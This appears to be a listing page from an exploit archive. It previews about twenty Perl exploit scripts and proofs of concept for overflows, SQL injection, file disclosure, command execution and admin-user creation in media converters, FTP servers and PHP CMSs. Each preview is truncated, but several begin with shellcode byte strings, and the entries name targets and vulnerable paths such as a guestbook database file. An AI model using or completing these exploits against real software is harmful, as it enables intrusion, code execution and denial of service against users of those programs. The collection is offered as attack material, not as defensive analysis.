RM Downloader Universal Overflow

!/usr/bin/perl RM Downloader .smi File Universal Overflow Exploit use strict; use warnings; my $shellcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b". "\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3"...

SDP Downloader v2.3.0 (.ASX File) Local Heap Overflow PoC

No description provided by source. !/usr/bin/perl Found By : Cyber-Zone ABDELKHALEK == Proud To Be Figuigian ::Figuig City OwnZ ! MoroCCo 2009 GreatZ To : Hussin X , Jiko , ZoRLu , Mag!c ompo , Stack , b0rizQ ... All MoroCCaN HaCkerS OllyDBG Registers EAX 41414141 ECX 00AF74AC ASCII...

SDP Downloader 2.3.0 Heap Overflow

!/usr/bin/perl Found By : Cyber-Zone ABDELKHALEK == Proud To Be Figuigian ::Figuig City OwnZ ! MoroCCo 2009 GreatZ To : Hussin X , Jiko , ZoRLu , Mag!c ompo , Stack , b0rizQ ... All MoroCCaN HaCkerS OllyDBG Registers EAX 41414141 ECX 00AF74AC ASCII...

Mini-stream RM-MP3 Converter 3.0.0.7 .m3u Stack Overflow Exploit

No description provided by source. !/usr/bin/perl Mini-stream RM-MP3 Converter Version 3.0.0.7 .m3u Universal Stack Overflow Exploit Disoverd By Cyber-Zone Exploited By Stack my $Header = "EXTM3U\n"; my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"...

ftpdmin 0.96 Arbitrary File Disclosure Exploit

No description provided by source. !/usr/bin/perl ftpdmin 0.96 Arbitrary File Disclosure Exploit Vulnerability Disclosure by 1 Slach or 2 Slach Tested on Win XP SP2 but it work in other box environment Abouts Exploit : first thing after we exec the application it make our box a simple ftp server ...

ASX to MP3 Converter 3.0.0.7 .m3u Universal Stack Overflow Exploit

No description provided by source. !/usr/bin/perl ASX to MP3 Converter Version 3.0.0.7 .m3u Universal Stack Overflow Exploit Disoverd By Cyber-Zone Exploited By Stack my $Header = "EXTM3U\n"; my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"...

Mini-stream Ripper (.M3U File) Local Stack Overflow PoC

Exploit for unknown platform in category dos / poc ======================================================= Mini-stream Ripper .M3U File Local Stack Overflow PoC ======================================================= !/usr/bin/perl Mini-stream Ripper .M3U File Local Stack Overflow POC Found By :...

Exjune Guestbook 2 Database Disclosure

!/usr/bin/perl By AlpHaNiX NullArea.Net alphaathacker.bz Made in Tunisia script : Exjune Guestbook v2 download : http://www.exjune.com/downloads/downloads/exJuneguestbook.asp Vulnerable : database path : /admin/exdb.mdb Real Life Example : OOO OOO OO OO OO OO O O O O O O O OO OO O O O O OO OOO OO...

PhotoStand 1.2.0 - Remote Command Execution

!/usr/bin/perl App : PhotoStand 1.2.0 Site : http://www.photostand.org Remote Command Execution Exploit Credits to : Giovanni Buzzin, "Osirys" osirysatautisticidotorg Greets: drosophila, emgent, Fireshot PhotoStand is a used Image Gallery CMS. PhotoStand is vulnerable to SQL Injection, AUTH BYPAS...

Codice CMS 2 Remote SQL Command Execution Exploit

No description provided by source. --+++===========================================================+++-- --+++====== Codice CMS 2 Remote Command Execution Exploit ======+++-- --+++===========================================================+++-- !/usr/bin/perl use strict; use warnings; use...

X-BLC 0.2.0 - get_read.php?section SQL Injection

X-BLC 0.2.0 - getread.php?section SQL Injection !/usr/bin/perl -w :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ "Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP" "YmmMMMM"" MMM YM Discovered by dun \ dunatstrcpy.pl xblc = 0.2.0 SQL Injection Vulnerability Script: "X-BLC is a...

VLC 0.9.8a Web UI (input) Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl VLC 0.9.8a Web UI Remote Stack Overflow DoS by TheLeader GreetZ: forums.hacking.org.il TiP oF TEh DaY: Rock on! = use IO::Socket; my $host = shift || 'localhost'; Target host my $port = shift || 8080; Target port. Default port = 8080 Note: for som...

GuildFTPd DELE命令目录遍历漏洞

BUGTRAQ ID: 34079 GuildFTPD是一个Windows平台下的免费FTP服务器。 GuildFTPd没有正确地处理FTP DELE请求，如果远程攻击者在向服务器所提交的DELE命令中包含有特制的“..”字符序列的话，就可以通过目录遍历攻击绕过FTP root删除系统上的任意文件。 DrPhibez and Nitro187 Guild FTPD v0.999.14 厂商补丁： DrPhibez and Nitro187 --------------------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

RoomPHPlanning <= 1.6 (userform.php) Create Admin User Exploit

No description provided by source. !/usr/bin/perl -w use LWP::UserAgent; use HTML::Form; print "\n"; print "+=RoomPHPlanning\n"; print "+=v1.x\n"; print "+=Vul: Remote Create user with all permissions admin\n"; print "+=Author: Jonathan Salwan \n"; print "+=Web: http://www.shell-storm.org\n"; pri...

Libra PHP File Manager 2.0 Local File Inclusion

! /usr/bin/perl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Libra PHP File Manager eNYe-Sec - www.enye-sec.org You can scale directories and read any file that you have permissions use LWP::UserAgent; $ua = LWP::UserAgent-new; print "\e2J"; system$^O eq 'MSWin32' ? 'cls' :...

linux/x86 Perl script execution 99 bytes + script length

Exploit for linux/x86 platform in category shellcode ======================================================== linux/x86 Perl script execution 99 bytes + script length ======================================================== / Author : darkjoker Site : http://darkjoker.net23.net Shellcode :...

Media Commands (M3U,M3l,TXT,LRC Files) Local Heap Overflow PoC

No description provided by source. !usr/bin/perl Discovered & Coded by : Hakxer Media Commands M3U,M3l,TXT,LRC Files Crash PoC Greetz : Allah , ProViDoR , Egyptian x Hacker Team : Egy coders Team Download/http://www.mediacommands.com/download.html Description : Import Hakxer.Ext Into program...

Hex Workshop 6.0 - '.hex' Local Code Execution

!/usr/bin/perl -w Hex Workshop = v6 .hex File Local Code Execution Discovred by : Security^Ghost Exploited by : DATASNIPER Exploit Tested on WindoZ XP SP2 FR. for more information vist my blog:http://datasniper.arab4services.net/ the exploit it's so weird ;,take look at the shellcode,and remember...

Got All Media 7.0.0.3 (t00t) Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ============================================================= Got All Media 7.0.0.3 t00t Remote Denial of Service Exploit ============================================================= !/usr/local/bin/perl Title: Got All Media 7.0.0.3 Remote Denia...

Firepack Code Execution

!/usr/bin/perl Firepack - Remote Command\Code Execution Exploit Firepack is a web atting toolkit often used in 2008, when the most versions of it were published. A short time ago i looked though the sourcecode and noticed that Vulnerability which can be used if the admin doesn't use a .htaccess...